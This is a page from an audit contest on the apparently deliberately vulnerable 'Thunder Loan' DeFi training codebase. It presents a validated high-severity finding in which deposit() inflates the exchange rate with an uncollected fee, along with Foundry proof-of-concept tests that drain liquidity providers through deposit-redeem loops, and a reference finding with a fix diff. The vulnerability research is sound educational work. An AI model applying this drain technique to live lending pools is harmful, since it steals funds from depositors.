Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

deposit() inflates the exchange rate with a phantom (never-collected) fee; redeem arbitrage drains LPs

hatchworker

Root + Impact

Description

ThunderLoan.deposit calls assetToken.updateExchangeRate(calculatedFee) where calculatedFee = getCalculatedFee(token, amount) — but the depositor never pays that fee. The rate bump is unbacked: total redeemable value (totalSupply * rate) exceeds the underlying actually held. Every deposit lets the depositor immediately redeem for more underlying than they put in; repeated deposit→redeem loops siphon LP funds, and the pool becomes insolvent for late redeemers.

ThunderLoan.sol::deposit:

assetToken.mint(msg.sender, mintAmount); // shares at the OLD rate
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee); // rate bumped by a fee nobody paid
token.safeTransferFrom(msg.sender, address(assetToken), amount);

AssetToken.updateExchangeRate:

uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

fee here is denominated in underlying tokens but is added to totalSupply(), which is denominated in asset tokens — a unit mismatch on top of the phantom-fee issue. Arithmetic: supply=1000, rate=1e18, underlying=1000. Deposit 100 → 100 shares at 1:1, rate bumps to ≈1.0002727e18 (fee 0.3, unbacked). Redeem 100 shares → 100.027 underlying. Profit 0.027 per loop, taken from LPs; aggregate shortfall grows with every deposit.

Risk

  • Every deposit() call unconditionally triggers the phantom rate bump — no privileged access or special timing is required.

  • The redeem side is permissionless; any depositor can immediately redeem at the inflated rate.

  • Impact: directly and repeatably extractable; LPs lose funds, pool insolvent. PoC (VERIFIED, test/PoC.t.sol::testPoC_PhantomFeeInflation): LP deposits 1000e18. Attacker deposits 100e18 → minted 99.7009e18 shares → immediately redeems type(uint256).max → receives 100.0273e18 (profit 0.0273e18 per loop, from LPs). After the loop: LP's claim = 1003.2736e18 but AssetToken holds only 999.9727e18 — insolvent by ~3.3e18, and every further deposit widens the hole.

Proof of Concept

function testPoC_PhantomFeeInflation() public allowedToken {
tokenA.mint(liquidityProvider, 1000e18);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
tokenA.mint(attacker, 100e18);
vm.startPrank(attacker);
tokenA.approve(address(thunderLoan), 100e18);
thunderLoan.deposit(tokenA, 100e18);
thunderLoan.redeem(tokenA, type(uint256).max);
vm.stopPrank();
uint256 attackerEnd = tokenA.balanceOf(attacker);
assertGt(attackerEnd, 100e18, "H-1: redeem arbitrage should profit");
uint256 lpClaim = asset.balanceOf(liquidityProvider) * asset.getExchangeRate() / 1e18;
uint256 held = tokenA.balanceOf(address(asset));
assertGt(lpClaim, held, "H-1: pool insolvent after phantom fee inflation");
}

Recommended Mitigation

Do not bump the exchange rate on deposit, or only bump it by fees actually collected. The rate should reflect underlying held / shares, not underlying + phantom fees.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Updating exchange rate on token deposit will inflate asset token's exchange rate faster than expected

# Summary Exchange rate for asset token is updated on deposit. This means users can deposit (which will increase exchange rate), and then immediately withdraw more underlying tokens than they deposited. # Details Per documentation: > Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. **These AssetTokens gain interest over time depending on how often people take out flash loans!** Asset tokens gain interest when people take out flash loans with the underlying tokens. In current version of ThunderLoan, exchange rate is also updated when user deposits underlying tokens. This does not match with documentation and will end up causing exchange rate to increase on deposit. This will allow anyone who deposits to immediately withdraw and get more tokens back than they deposited. Underlying of any asset token can be completely drained in this manner. # Filename `src/protocol/ThunderLoan.sol` # Permalinks https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L153-L154 # Impact Users can deposit and immediately withdraw more funds. Since exchange rate is increased on deposit, they will withdraw more funds then they deposited without any flash loans being taken at all. # Recommendations It is recommended to not update exchange rate on deposits and updated it only when flash loans are taken, as per documentation. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); - uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` # POC ```solidity function testExchangeRateUpdatedOnDeposit() public setAllowedToken { tokenA.mint(liquidityProvider, AMOUNT); tokenA.mint(user, AMOUNT); // deposit some tokenA into ThunderLoan vm.startPrank(liquidityProvider); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); // another user also makes a deposit vm.startPrank(user); tokenA.approve(address(thunderLoan), AMOUNT); thunderLoan.deposit(tokenA, AMOUNT); vm.stopPrank(); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); // after a deposit, asset token's exchange rate has aleady increased // this is only supposed to happen when users take flash loans with underlying assertGt(assetToken.getExchangeRate(), 1 * assetToken.EXCHANGE_RATE_PRECISION()); // now liquidityProvider withdraws and gets more back because exchange // rate is increased but no flash loans were taken out yet // repeatedly doing this could drain all underlying for any asset token vm.startPrank(liquidityProvider); thunderLoan.redeem(tokenA, assetToken.balanceOf(liquidityProvider)); vm.stopPrank(); assertGt(tokenA.balanceOf(liquidityProvider), AMOUNT); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!